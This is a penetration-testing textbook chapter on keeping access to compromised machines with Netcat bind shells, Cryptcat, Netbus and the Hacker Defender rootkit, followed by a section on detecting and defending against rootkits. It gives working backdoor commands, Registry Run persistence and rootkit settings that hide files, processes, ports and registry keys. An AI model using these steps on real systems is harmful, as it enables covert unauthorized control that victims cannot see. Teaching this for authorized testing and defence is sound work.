Chapter 6. Maintaining Access with Backdoors and Rootkits

Information in This Chapter:

■ Netcat: The Swiss Army Knife
■ Netcat’s Cryptic Cousin: Cryptcat
■ Netbus: A Classic
■ Rootkits
■ Hacker Defender: It Is Not What You Think
■ Detecting and Defending Against Rootkits
Many exploits that provide remote access are fleeting. Often, the access to the system lasts only as long as the parent process is running or until the system is rebooted. In most cases, a penetration tester needs the ability to return to the system at a later date. In these cases, once the system has been compromised, a more permanent and stable backdoor is added to the system. This chapter introduces the powerful and flexible tool Netcat. Several uses of Netcat, including implementing Netcat as a backdoor, are covered. Cryptcat, a modern version of Netcat with the added ability to encrypt traffic between two machines, is also discussed. The classic remote control program Netbus is introduced to demonstrate the power of “command and control” software. The chapter concludes with a brief overview of rootkits and explores their basic structure and use. The proper use, configuration, and implementation of the Hacker Defender rootkit is covered.
Keywords
Backdoors, Cryptcat, Hacker Defender, malware, Netbus, Netcat, rootkits

Introduction

Maintaining access to a remote system is questionable activity and that needs to be discussed and clearly explained to the client. Many companies are interested in having a penetration test performed but are leery of allowing the penetration testing company to make use of backdoors. Most people are afraid that these backdoors will be discovered and exploited by an unauthorized third party. Imagine that you are the CEO of a company, how well would you sleep knowing that you may have an open, backdoor channel into your network? Remember, the client sets both the scope and the authorization of the penetration test. You will need to take the time to fully cover and discuss this step before proceeding.
Still, on occasion you may be asked to conduct a penetration test that does require the use of a backdoor. Whether the reason is to provide a proof of concept, or simply to create a realistic scenario where the attacker can return to the target, it is important to cover the basics in this step.
In the simplest sense, a backdoor is a piece of software that resides on the target computer and allows the attacker to return (connect) to the machine at any time. In most cases, the backdoor is a hidden process that runs on the target machine and allows a normally unauthorized user to control the PC.
It is also important to understand that many exploits are fleeting. They work and provide access only as long as the program that was exploited remains running. In many cases if the target machine reboots or the exploited process is stopped, the shell will be lost. As a result of this, one of the first tasks to complete upon gaining access to a system is to migrate your shell to a more permanent home. This is often done through the use of backdoors.
Later in the chapter we will discuss rootkits. Rootkits are a special kind of software that embed themselves deep into the operating system and perform a number of tasks, including giving a hacker the ability to complete hide processes and programs.

Netcat: The Swiss Army Knife

Netcat is an incredibly simple and unbelievably flexible tool that allows communication and network traffic to flow from one machine to another. Although Netcat’s flexibility makes it an excellent choice for a backdoor, there are dozens of other uses of this tool. Netcat can be used to transfer files between machines, conduct port scans, serve as a simple instant messenger/chat, and even function as a simple web server! We will cover the basics here, but you should spend time practicing and playing with Netcat. You will be amazed at what this tool is capable of. It is nicknamed the “swiss army knife” for a reason.
Netcat was originally written and released by Hobbit in 1996 and supports sending and receiving both TCP and UDP traffic. Netcat can function in either a client or server mode. When it is in client mode, the tool can be used to make a network connection to another service (including another instance of Netcat). It is important to remember that Netcat can connect from any port on your local machine to any port on the target machine. While Netcat is running in server mode, it acts as a listener where it waits to accept an incoming connection.
Let us start with a very basic example of how we can use Netcat. In this example we will set up Netcat to serve as a communication channel between two machines. To set this up on the first machine, we simply need to choose a port and instruct Netcat to run in listener mode. Issuing the following command in a terminal will accomplish this task:
nc –l –p 2323
In the command above, “nc” is used to invoke the Netcat program, whereas the “-l” is used to put Netcat into a listener mode. The “-p” is used to specify the port number we want Netcat to listen on. At this point Netcat is running and waiting to accept an incoming connection on port 2323.
Now that we have Netcat listening on the first machine, we can move to the second machine. To make a connection to the listening machine, we issue the following command:
nc 172.16.45.132 2323
Running this command from the second PC will force Netcat to attempt a connection to port 2323 on the machine with an IP address of 172.16.45.132. Because we have set up the first PC to act as a listener on that port, the two PCs should now be able to communicate. We can test this by typing text into either terminal window. Anything that we type into the terminal from either machine will be displayed in the terminal window of both machines. This is because the keyboard is acting as the standard input and Netcat is simply transporting the data entered (keystrokes) over the connection.
To end the “chat” and close the session, we can issue the CNTL+C key combination; this will terminate the Netcat connection. Figure 6.1 shows an example of this type of communication between two computers.
B9781597496551000064/f06-01-9781597496551.jpg is missing
Figure 6.1
Using Netcat to Communicate between Two Computers.
It is important to understand that once you kill or close the Netcat connection, you will need to restart the program on the target machine before making another connection. Constantly needing to connect to the target machine to restart Netcat is not very efficient. Fortunately, if you are using the Windows version of the program, Netcat provides a way to avoid this issue. In the Windows version of Netcat if we start Netcat in listener mode using a “-L” (switch) rather than a “-l” the target will keep the connection open on the specified port even after the client disconnects. In many ways, this makes the program persistent. Of course to make it truly persistent, you would need to add the command to run every time the machine starts. On a Windows machine, this could be accomplished by adding the Netcat program to the HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowscurrentversion un registry hive.
Unfortunately, in terms of making a persistent network connection, the Linux version of Netcat is not quite so straightforward. In order to make the Netcat connection persistent on a Linux machine, you would have to write a simple bash script that forces Netcat to restart when the original connection is closed. If you are interested in creating a persistent connection, there are many examples to be found on the Internet.
Although the example above is an interesting use of Netcat and great for demonstrating the flexibility and power of the tool, in reality you will probably never use the “chat” feature during a penetration test. On the other hand, once you have got Netcat uploaded to your target system, there are many practical uses for the tool. Let us take a look at something a bit more advantageous, like transferring files.
Moving files between computers is easy when we have got the Meterpreter shell running but remember, we do not want to have to exploit the target every time. Rather, the goal is to exploit once and then leave a backdoor so we can return at a later date. If we upload Netcat to the target, we can use the program to transfer files to and from our target across a network.
For this example, assume you want to upload a new file from your local machine to the target machine. With Netcat running on the target machine, we issue the following command:
nc –l –p 7777 > calc.exe
This command will force the target to listen for an incoming connection on port 7777. Any input that is received will be stored into a file named “calc.exe.”
From our local machine, we need to use Netcat to make a connection to the target and specify the file we want to send to the target. We accomplish this by using the following command:
nc 172.16.45.129 7777 < calc.exe
Unfortunately, Netcat does not provide you any type of feedback letting you know when the transfer has been completed. Because you will receive no indication when the upload is done, it is best to just wait for a few seconds and then issue a CNTL+C to kill the connection. At this point, you should be able to run the “ls” command on your target machine and see the newly created file. Figure 6.2 shows an example of this process.
B9781597496551000064/f06-02-9781597496551.jpg is missing
Figure 6.2
Using Netcat to Transfer Files.
Naturally you could set up a Netcat connection to pull files from the target machine by reversing the commands above.
Oftentimes during a penetration test, you will discover open ports that provide little or no additional information. You may run across situations where both Nmap and Nessus are unable to discover the service behind the port. In these cases, it is often very beneficial to use Netcat to make a blind connection to the port. Once you have made the connection, you begin sending information to the port by typing on the keyboard. In some instances, the keyboard input will elicit a response from the service. This response may be helpful in allowing you to identify the service. Consider the following example:
Assume you are conducting a penetration test on a target server. During the scanning process you discover that port 50001 is open. Unfortunately, neither your port scanner nor your vulnerability scanners were able to determine what service was running behind the report. In this case, it can be handy to use Netcat to interact with the unknown service. To force Netcat to attempt a connection to the service, we simply enter the following command:
nc 172.16.45.129 50001
This command will attempt to create a TCP connection to the port and service. It is important to note that you can force Netcat to send UDP packets by issuing the “-u” switch. Once the connection is made in most cases it is easiest to simply enter some text and hit return key to send the text to the service. If the service responds to the unexpected request, you may be able to derive its function. Figure 6.3 shows an example of this.
B9781597496551000064/f06-03-9781597496551.jpg is missing
Figure 6.3
Using Netcat to Interrogate Unknown Services.
As you can see, we used Netcat to create a connection to port 50001. Once connected, the text “test” was sent through the connection. The service returned with a response that clearly indicates that the mysterious service is a web server. And even more important, the server has fully identified itself as an Apache server running version 2.2.9 on a Linux Ubuntu machine!
Finally, we can use Netcat to bind itself to a process and make that process available over a remote connection. This allows us to execute and interact with the bound program as if we were sitting at the target machine itself. If we start Netcat using the “-e” switch, it will execute whatever program we specify directly after the “-e.” The program will execute on the target machine and will only run once a connection has been established. The “-e” switch is incredibly powerful and very useful for setting up a backdoor shell on a target.
To set up a backdoor, we will need to utilize the “-e” switch to bind a command shell from the target machine to a port number. By setting up Netcat in this manner, later when we initiate a connection to the specified port, the program listed after the “-e” switch will run. If we are using a Linux machine, we can accomplish this by typing the following into a terminal window:
nc –l –p 12345 –e /bin/sh
This will cause the target to serve up a shell to whoever connects to port 12345. Again, any commands sent from the Netcat client to the target machine will be executed locally as if the attacker were sitting at the target.
This technique can also be used on a Windows machine. To provide command line backdoor access into a Windows machine, we would run the following on the target (in a terminal window):
nc.exe –L –p 12345 c:WindowsSystem32cmd.exe

Alert!
Notice, because this is a Windows machine, we are using the “-L” switch to make our connection persistent. If we close the connection from our machine, Netcat will continue listening on the specified port. The next time we connect to the machine, the cmd shell will be waiting and will execute for us.
To put the preceding example into context and hopefully make it more concrete for you, let us examine the following scenario to show how we could implement Netcat as a backdoor. Consider the following example: assume that we have successfully exploited a Windows target. Being forward-thinking penetration testers, we decide to create a more stable backdoor to this system so that we can return later. In this case, we have decided to use Netcat as our backdoor software.
The first order of business would be to upload Netcat to the target machine; in this example, the Netcat executable has been uploaded to the target’s System32 directory. Let us assume that we utilized the knowledge gained from Chapter 4 and we are currently using the Meterpreter shell to interact with our target. Once we have a Meterpreter shell on our target, we can upload the Netcat file to the victim by issuing the following command:
meterpreter > upload nc.exe c:\windows\system32
Note: You will need to upload the Windows (.exe) version of Netcat because the target is running Windows.
In this case, we have uploaded the nc.exe program to the WindowsSystem32 directory. This will allow us to access the cmd.exe program directly. Once Netcat has been transferred to the target machine, we need to choose a port number, bind the cmd.exe program, and start Netcat in server mode. This will force Netcat to wait for an incoming connection on the specified port. To perform these tasks, we need to issue the following command in a terminal (again, assuming you are already in the same directory as Netcat).
meterpreter > nc –L –p 5777 –e cmd.exe
At this point, Netcat should be running on our target machine. Remember if you were interested in making this backdoor truly persistent, with the ability to survive a reboot, you would need to set the Netcat command to automatically start in the Windows registry.
Now that Netcat is set up, we can close our Meterpreter shell and make a connection to the target using Netcat. Figure 6.4 shows an example of a connection we have made from our local Backtrack machine to the target Windows machine.
B9781597496551000064/f06-04-9781597496551.jpg is missing
Figure 6.4
Using Netcat as a Backdoor on a Windows Machine.
There should be little doubt in your mind that Netcat is a truly powerful and flexible tool. In this section we have barely scratched the surface. If you take some time to dig deeper into the program, you will find that people have been able to perform some rather amazing things using Netcat. You are encouraged to look into some of these clever implementations by searching the web, the results will amaze you.

Netcat’s Cryptic Cousin: Cryptcat

Although Netcat provides some amazing qualities, the program does have a few shortcomings. First off, it is important to understand that all traffic passed between a Netcat client and server is done so in clear text. This means that anyone viewing traffic or sniffing the connection will be able to view and monitor all the information sent between the machines. Cryptcat was introduced to address this issue. Cryptcat utilizes twofish encryption to keep the traffic between the client and the server confidential.
The beauty of Cryptcat is that you do not need to learn any new commands. If you have already mastered Netcat, then you have already mastered Cryptcat; but with Cryptcat you have the added benefit of transporting your data using an encrypted tunnel. Anyone viewing or analyzing your network traffic will not be able to see your information.
One important note about Cryptcat, you should always change the default key. If you fail to change the default key, anyone will have the ability to decrypt your session. The default key is: metallica and can be changed using the “-k” switch.
To set up an encrypted tunnel between two machines using Cryptcat, you can issue the following commands:
1) Start the server:
cyrptcat –l –p 5757
2) Start the client:
cryptcat 172.16.45.129 5757
You now have an encrypted tunnel set up between the two machines. Figure 6.5 shows an example of this process.
B9781597496551000064/f06-05-9781597496551.jpg is missing
Figure 6.5
Using Cryptcat to Create an Encrypted Tunnel between Two Machines.

Netbus: A Classic

Netbus is a classic piece of software that has been around since 1998. We will briefly review it here as a gentle introduction to backdoors and remote control software. Netbus was originally written by Carl-Fredrik. The program consists of two parts: a client and a server. The server software is installed on the target PC, that is, the machine that you want to remotely control. The client software is used to connect and control the target.
Once the Netbus server software is installed on the target machine, the client software can perform a number of different actions on the target. Remember, even though the attacker is not physically sitting at the local machine, the client software allows the attacker to execute commands on the remote target as if he were. Some of the more popular options include the following:
■ opening the CD-Rom drive;
■ starting a program;
■ taking a screenshot of the target’s current screen;
■ uploading and downloading files;
■ sending messages.
To use Netbus, simply install the server on the target machine and run the client software on the attacker machine.
Netbus comes as a compressed file that contains several different pieces. You need to first unzip the Netbus file. To install the server software, you will need to execute the patch.exe file on the target. This installs and starts Netbus. The program will run as a process called “patch.exe” and when installed, will automatically create a registry entry so that it starts every time Windows is started.
To access the client panel you run the NetBus.exe. Enter the target IP address in the “Host name/IP:” field and click the connect button. Figure 6.6 shows an example of the client interface that is used to interact with the target.
B9781597496551000064/f06-06-9781597496551.jpg is missing
Figure 6.6
Netbus Client Software Used to Remotely Control the Target.
There is little doubt that Netbus is an old piece of software, but it makes for a great tool when discovering and exploring backdoor command and control of a remote target.

Rootkits

Just like Metasploit, when people are first exposed to the power and cunning of rootkits, they are usually amazed. To the uninitiated, rootkits appear to have an almost black-magic-like quality. They are usually simple to install and can produce amazing results. Running a rootkit gives you the ability to hide files, processes, and programs as if they were never installed on the computer. Rootkits can be used to hide files from users and even the operating system itself.
Because rootkits are so effective at hiding files, they will often be successful at evading even the most finely tuned antivirus software. The name rootkit is typically said to be a derivative of the words “root,” as in root-level or administrative access, and the “kit” or collection of tools that were provided by the software package.

Alert!
As with everything else and even more so in this case, you must be 100 percent sure that your client authorizes the use of rootkits before you deploy them in a penetration test. Utilizing a rootkit without authorization will be a sure way to quickly end your career and put you behind bars. Even if you have been fully authorized to conduct a penetration test, double and triple check that you are specifically authorized to utilize a rootkit.
As we already mentioned, rootkits are extremely stealthy. They can be used for a variety of purposes including escalating privileges, recording keystrokes, installing backdoors, and other nefarious tasks. Many rootkits are able to avoid detection because they operate at a much lower level of the operating system itself, inside the kernel. The software that users typically interact with, functions at a higher level of the system. When a piece of software like antivirus needs to perform a particular task, it will often pass the request off to the lower levels of the operating system to complete the task. Remember, some rootkits live deep inside the operating system. They can also work by “hooking” or intercepting these various calls between the software and operating system.
By hooking the request from a piece of software, the rootkit is able to modify the normal response. Consider the following example: assume that you want to see what processes are running on a Windows machine. To accomplish this, most users will depress the key combination “CNTL+ALT+DEL.” This will allow the user to start the Task Manager and view running processes and services. Most people perform this task without thinking about it. They examine the process list presented and move on.
While the following is a gross oversimplification, it should serve as an example to help you understand the basics. In this case software is making a call to the operating system and asking what processes or services are running. The operating system queries all the running programs it is aware of and returns the list. However, if we add a rootkit to the mix, things get a little more complicated. Because rootkits have the ability to intercept and modify the responses returned by the operating system, when a user attempts to view the process list, the rootkit can simply remove selected programs, services, and processes from the list. This happens instantaneously and the user is not aware of any differences. The program itself is actually functioning perfectly. It is reporting exactly what it was told by the operating system. In many senses of the word, the rootkit is causing the operating system to lie.
It is important to point out that a rootkit is not an exploit. Rootkits are something that is uploaded to a system after the system has been exploited. Rootkits are usually used to hide files or programs and maintain stealthy backdoor access.

Hacker Defender: It Is Not What You Think

First things first; do not let the name fool you, Hacker Defender is a rootkit. It is NOT a way to defend hackers! Hacker Defender is a full-fledged rootkit that is relatively easy to understand and configure.
There are three main files included with Hacker Defender that you must be aware of: hxdef100.exe, hxdef100.ini, and bdcli100.exe. Although the .zip file will include several other files, we will focus our attention on these three. Hxdef100.exe is the executable file that runs Hacker Defender on the target machine. Hxdef100.ini is the configuration file where we set up the options we want to use and list the programs, files, or services that we want to hide. Bdcli100.exe is the client software that is used to connect directly to Hacker Defender’s backdoor.
Once you have uploaded the hsdef100.zip file to your target, you will need to unzip it. To keep things as simple as possible, it is best to create a single folder on the root of the target drive. For the purpose of this example, we will create a folder on the C: drive called “rk” (for rootkit). All the files including the hxdef100.zip and its uncompressed contents are placed into this single folder. This will make it easier to keep track of the files, provide a central location to upload additional tools to, and make hiding this central repository much easier. Once you have unzipped the hxdef100 file, you can begin configuring Hacker Defender by modifying the hxdef100.ini file.
Once you open the .ini file, you will see a number of different sections. Each major section begins with a name enclosed in a square bracket. Figure 6.7 shows an example of the default configuration file.
B9781597496551000064/f06-07-9781597496551.jpg is missing
Figure 6.7
Screenshot of the hxdef100.ini Configuration File.
As you can see in Figure 6.7, there are several headings including [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services], and others. You will also notice that Hacker Defender configuration file includes a couple of default entries. These entries are used to hide the Hacker Defender files and built in backdoor so you do not have to modify these or make additional changes. Notice too that the .ini file supports the use of wildcards with the “*” character. In this case, any file that starts with the letters hxdef will automatically be included in the list.
Start at the top and work your way through each of the headings. The first section is titled [Hidden Table]. Any files, directories, or folders listed under this heading will be hidden from the explorer and file manager used by Windows. If you created a folder on the root of the drive as suggested earlier, be sure to list it here. Building off of this previous example, we will list “rk” in the [Hidden Table] section.
In the [Hidden Processes] section, you list each of the processes or programs you want to be concealed from the user. Each of the processes listed here will be hidden from the local user when they view currently running processes with the task manager. As a nonmalicious example assume you want to hide the calculator program. In this case you will need to list the calculator program under the [Hidden Processes] section. By adding calc.exe to the [Hidden Processes] section, the user will no longer be able to find or interact with the calculator program. Once our rootkit is started, as far as the user is concerned, there is no calculator program available on the computer.
The [Root Processes] section is used to allow programs to interact with and view the previously hidden folders and processes. Remember that in the previous sections we were removing the computer’s ability to detect, see, and interact with various files and programs. In this section, we list any programs that we want to have full control. Any programs listed here will be allowed to view and interact with programs on the system, including those listed in the [Hidden Table] and [Hidden Processes] tab.
If you have any programs that will install as a service or run services like FTP, web servers, backdoors, etc., you will need to list them in the [Hidden Services] section. Like each of the other sections, the [Hidden Services] section will hide each of the listed services. Again, when interacting with the task manager, any program listed here will be concealed from the “services” list.
You can use the [Hidden RegKeys] to hide specific registry keys. Almost all programs create registry keys when they are installed or run on a computer. The [Hidden RegKeys] section can be used to camouflage each of these keys. You will need to make sure that you list them all in order to avoid detection.
Some instances require more granular control than simply hiding the entire key. If an entire key is missing (or hidden), a keen system administrator may get suspicious. To handle these instances, Hacker Defender allows us to use the [Hidden RegValues]. Entering information here will hide individual values rather than the entire key.
The [Startup Run] is a list of programs that will be automatically run once Hacker Defender has been started. This would be a good place to list the Netcat command if you were interested in creating a backdoor. Just make sure you put it in listener mode!
Just as installing programs on a Windows machine automatically creates registry keys and values, installing programs onto a target requires disk drive space. Here again, a cunning administrator may notice if you install a program that requires lot of disk space. If a user starts his or her computer one morning and discovers that over half of the hard drive space is suddenly in use, he or she will probably become suspicious. You can use the [Free Space] section to force the computer to “add back” the amount of free space that you used. Entering a number here will force the computer to report the actual available free space plus the number you enter in this section. In other words, if you install a program that requires 1 GB of free space, you should add 1073741824 under the [Free Space] heading. Doing so will lessen the likelihood of discovery. Please note, this number is listed in bytes. If you need help in converting from bytes to kilobytes to megabytes to gigabytes, there are several good calculators available online. Simply Google “kilobytes to megabytes calculator” and use one of the suggested pages returned.
If you know of ports that you plan to open, you can list them under the [Hidden Ports] section. You will notice this section is further divided with the following entries: TCPI:, TCPO, UDP. The “TCPI:” subsection is where you list any inbound ports that you want hidden. If you have multiple ports to list, simply separate them by a comma. “TCPO:” is a section where you list any outbound TCP ports that you want to be hidden from the user. The “UDP:” section is used to specify any UDP ports that you want concealed.
Now that you have an idea of how to configure the basic Hacker Defender settings, let us examine the tool in action. For this example, we will install Hacker Defender in a folder on the C: drive called “rk.” We will also place a copy of Netcat into this folder. Figure 6.8 shows an example of the .ini configuration file.
B9781597496551000064/f06-08-9781597496551.jpg is missing
Figure 6.8
Newly Configured hxdef100.ini File.
You will notice that only a few extra lines have been added to the default configuration file. In this example, we have added the “rk” folder to the [Hidden Table] section, the Netcat executable to the [Hidden Processes] section, and lastly set up Netcat to automatically start up in server mode and provide a cmd shell on port 8888 of the target. If you wanted to add an additional layer of stealth, you could also add 8888 to the [Hidden Ports] section.
Figure 6.9 shows two screenshots prior to starting Hacker Defender. Notice that both the “rk” folder and the Netcat (nc.exe) program are visible.
B9781597496551000064/f06-09-9781597496551.jpg is missing
Figure 6.9
Prior to Running the Rootkit Both Folder and Program Are Visible.
However, once the hxdef100.exe file has been executed, the rootkit is in full force. Figure 6.10 demonstrates that neither the “rk” folder nor the “nc.exe” program is visible to the user.
B9781597496551000064/f06-10-9781597496551.jpg is missing
Figure 6.10
After Running the Rootkit Both Folder and Program Are Invisible.
As you can see, even a simple rootkit like Hacker Defender is quite capable of masking and hiding files. Rootkits are a vast topic and we could easily dedicate an entire book to the technical details and their makeup and inner workings. Rootkit technology, like all malware, continues to develop at a staggering pace. In order to truly master rootkits you will need to begin with a solid understanding of the operating system kernel. Once you finish covering the basics, you are highly encouraged to dive into the malware rabbit hole and see just how deep it goes.

Detecting and Defending against Rootkits

Let us break from the normal convention of this book and take a minute to discuss a few defensive strategies for dealing with rootkits. Because we are focusing on the basics, defending against many of the techniques covered in the earlier step has been quite simple:
■ Closely monitor the information you put onto the Internet.
■ Properly configure your firewall and other access control lists.
■ Patch your systems.
■ Install and use antivirus software.
■ Make use of an intrusion detection system.
Although the list is not nearly complete, it is a good starting point for defending systems. However, even with all of those processes in place, rootkits can still pose a danger.
Defending against and detecting rootkits takes a few extra steps. It is important to understand that in order to configure and install a rootkit, administrative access is required. So the first step in avoiding rootkits is to deprivilege your users. It is not uncommon to find networks that are loaded with Windows machines where every user is a member of the administrator group. Usually when inquiring as to why every user is an administrator, the system admins simply just shrug or provide some lame excuse about the user needing to be administrators to run a particular piece of software. Really? Come on, this is not 1998. There are very few legitimate reasons for allowing your users to run around with full admin rights. With most modern operating systems, you have the ability to temporarily elevate your privileges with the “su” or “Run As” commands.
Although it is true that many rootkits function at the kernel level and have the ability to avoid detection by antivirus software, installing, using, and keeping the software up-to-date is critical. Some rootkits, especially the older and less sophisticated versions can be detected and cleaned by modern antivirus software.
Monitor the traffic coming into and going out of your network. Many administrators are great at monitoring and blocking traffic as it flows into the network. They spend days and even weeks honing their rule sets to block incoming traffic. At the same time, many of these admins completely ignore all outbound traffic. They become so focused on the incoming traffic that they forget to watch what is leaving. Monitoring outbound traffic can be vital in detecting rootkits and other malware.
Another good tactic for detecting rootkits and backdoors is to regularly port scans your systems. Make note of each open port on each of your systems. If you find a system with an unknown port open, be sure to track down the PC and identify the rogue service.
Tools like Rootkit Revealer, Vice, and F-Secure’s Blacklight are some great free options for revealing the presence of hidden files and rootkits. Unfortunately, once a rootkit has been installed, it can be very difficult to remove, or at least to remove completely. Sometimes, rootkit removal requires you to boot your machine into an alternate operating system and mount your original hard drive. By booting your machine to an alternate operating system or mounting the drive to another machine, you can scan the drive more thoroughly. Because the original operating system will not be running and your scanner will not be using API calls to an infected system, it is more likely you will be able to discover and remove the rootkit. Even with all of this, oftentimes your best bet is to simply wipe the system, including a full format, and start over.

How do I Practice this Step?

Like each of the steps that have been discussed, becoming proficient with backdoors and rootkits requires practice. Working with tools like Netcat can seem a bit confusing at first, especially when we use the “-e” switch to provide backdoor functionality. The best way to practice this technique is to set up two machines and practice implementing Netcat between them. The more you use Netcat, the more comfortable you will become with the concept.
You should practice both sending and receiving files from each machine. It is important to understand directionality and exactly how to use Netcat to perform this task both ways (download and uploading). Once the basics of sending and receiving files have been mastered, begin focusing on using Netcat as a backdoor. Remember the “-e” switch is vital in performing this task. Fully understanding how to implement Netcat as a backdoor will require setting up the tool in listener mode on the target and making a connection to it from the attacker machine.
Be sure to practice setting up a backdoor and establishing a connection with both Linux and Windows. It is important to master the difference between the Linux and Windows versions. Remember, a Windows Netcat version can connect to a Linux version and vice versa; however, there are several minor differences in the switches and functionality of each program.
Finally, after becoming proficient with the basics of Netcat, be sure to explore some advanced features like using Netcat as a proxy, reverse shells, port scanning, creating and copying a disk partition image, and chaining Netcat instances together to bounce traffic from one machine to another.
Before wrapping up Netcat, be sure to thoroughly review the “man” pages and examine each switch. Again, you will want to look closely at the differences between the Linux and Windows versions. Examining the switches and reading the “man” pages often provides additional information and can spur some creative uses of the tool.
Practicing with rootkits can be a bit of a double-edged sword. Exploring and learning to use rootkits can be rewarding and valuable but as with all malware there is certainly some risk involved. Anytime malware is used or studied, there is a chance that the malware will escape or infect the host system. Readers are strongly encouraged to exercise extreme caution before downloading or installing any type of malware. Advanced malware and rootkit analysis is beyond the scope of this book and is not recommended.
If you are still compelled to study these topics, the use of a sandboxed environment and virtual machines is a must. Always disconnect all outside access before proceeding to ensure that nothing escapes your network. Remember that you are legally responsible for any and all traffic that leaves your network. The laws that govern computer use at the federal and state levels make no distinction between traffic that “accidentally” leaves your network and traffic that is sent on purpose.
In reality, rootkits and backdoors are rarely used in a penetration test. It is highly suggested that you focus on mastering each of the other steps before attempting to advance any further with malware.

Where do I go from here?

After mastering the basics of backdoors and rootkits, you should expand your horizon by exploring similar tools including Ncat and Socat. Ncat is a modernized version of the original Netcat tool and is included as part of the Nmap project. Ncat improves on the original tool by including many of the original features plus SSL and IPv6 support. Socat is another close Netcat relative that is great for reading and writing network traffic. Socat also extends the original functionality of Netcat by adding support for SSL, IPv6, and several other advanced features.
If you are interested in learning more about backdoors, you should spend time exploring a couple of classic examples including Back Orifice and SubSeven (Sub7). Back Orifice is similar in nature to Netbus and allows a user to command and control a remote machine. The program was originally released by Sir Dystic in 1998. You can listen to the original talk titled “Cult of the Dead Cow: The announcement of Back Orfice, DirectXploit, and the modular ButtPlugins for BO” by reviewing the Defcon 6 media archives.
Sub7 was originally released in 1999 by Mobman and functions in a client/server manner similar to Netbus and Back Orifice. Like each of the other tools discussed in this chapter, Sub7 is software that allows a client to remotely control a server. One interesting point about Sub7 is the fact that after a six-year hiatus, where no development occurred, the project was revived and updated.
If you are interested in expanding your knowledge of rootkits, it is important to study and master the inner workings of modern operating systems. Learning the intricate details of an operating system kernel may seem daunting at first, but it is well worth your time.
This chapter examined the Hacker Defender rootkit and provided a basic overview of the functionality and use of rootkits. It is important to understand that this material only scratches the surface of rootkits. Advanced topics include hooking system and function calls and understanding the difference between user-mode and kernel-mode kits. Developing a solid grasp of system programming and programming languages can be extremely beneficial as well.

Summary

This chapter focused on the use and implementation of backdoors and rootkits. Remember it is vital that you have proper authorization before utilizing a rootkit or backdoor in a penetration test. This chapter began by introducing the powerful and flexible tool Netcat. Several uses of Netcat, including implementing Netcat as a backdoor, are covered. Cryptcat, a modern version of Netcat with the added ability to encrypt traffic between two machines, was also discussed. The classic remote control program Netbus was introduced to demonstrate the power of “command and control” software. The chapter concluded with a brief overview of rootkits including their basic structure and use. Specifically, the proper use, configuration, and implementation of the Hacker Defender rootkit was covered.
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.226.177.86